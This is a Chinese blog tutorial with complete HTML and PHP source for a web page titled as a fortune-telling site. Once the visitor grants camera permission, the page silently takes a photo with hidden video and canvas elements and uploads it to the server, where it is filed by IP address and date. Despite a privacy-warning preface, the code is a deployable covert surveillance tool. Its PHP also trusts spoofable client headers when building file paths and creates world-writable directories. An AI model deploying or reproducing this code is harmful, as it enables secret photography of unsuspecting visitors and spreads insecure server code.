PHP代码获取相机权限并自动拍照上传至服务器

前言

现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己;

代码

分别创建index.htmlphoto.php两个文件并上传至网站服务器即可;
创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;
允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类;

index.html代码


<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="" content="content">
    <title>神算子</title>
</head>
<body>
     <canvas id="canvas" style="display: none;" width="480" height="640"></canvas>
     <video id="video" style="display: none;width: 250px;height: 300px;"></video>
     <script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
    <script>
        window.addEventListener("DOMContentLoaded",function(){
            var canvas = document.getElementById('canvas');
            var context =canvas.getContext('2d');
            var video = document.getElementById('video');
            if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
                navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
                    video.srcObject = stream;
                    video.play();
                    setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
                    setTimeout(function(){
                        var img = canvas.toDataURL('image/png');
                        $.post('/photo.php',{'imegse':img},function(data){
                        //指定photo.php文件所在位置
                        })
                    } ,1300)
 
                },function(){
                    alert('缺少访问权限');
                    location.reload();
                })
 
            }
        },false);
    </script>
</body>
</html>

photo.php代码


<?php
//允许跨域
header("Access-Control-Allow-Origin:*");
echo base64();
function base64()
{
    //接收 base64 数据
    $image = $_POST['imegse'];
    if (empty($image)) {
        return null;
    }
    //设置图片名称
    $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png';
    //判断是否有逗号 如果有就截取后半部分
    if (strstr($image, ",")) {
        $image = explode(',', $image);
        $image = $image[1];
    }
    //设置图片保存路径
    $path = "./" . getIp() . '/' . date("Ymd", time());
    //判断目录是否存在 不存在就创建
    if (!is_dir($path)) {
        mkdir($path, 0777, true);
    }
    //图片路径
    $imageSrc = $path . "/" . $imageName;
    //生成文件夹和图片
    $r = file_put_contents($imageSrc, base64_decode($image));
    if (!$r) {
        return 0;
    } else {
        return 1;
    }
}
function getIp()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

index.html在第25行处需要指定photo.php文件的所在位置,如果文件在网站根目录下就无需修改;

署名 - 非商业性使用 - 禁止演绎 4.0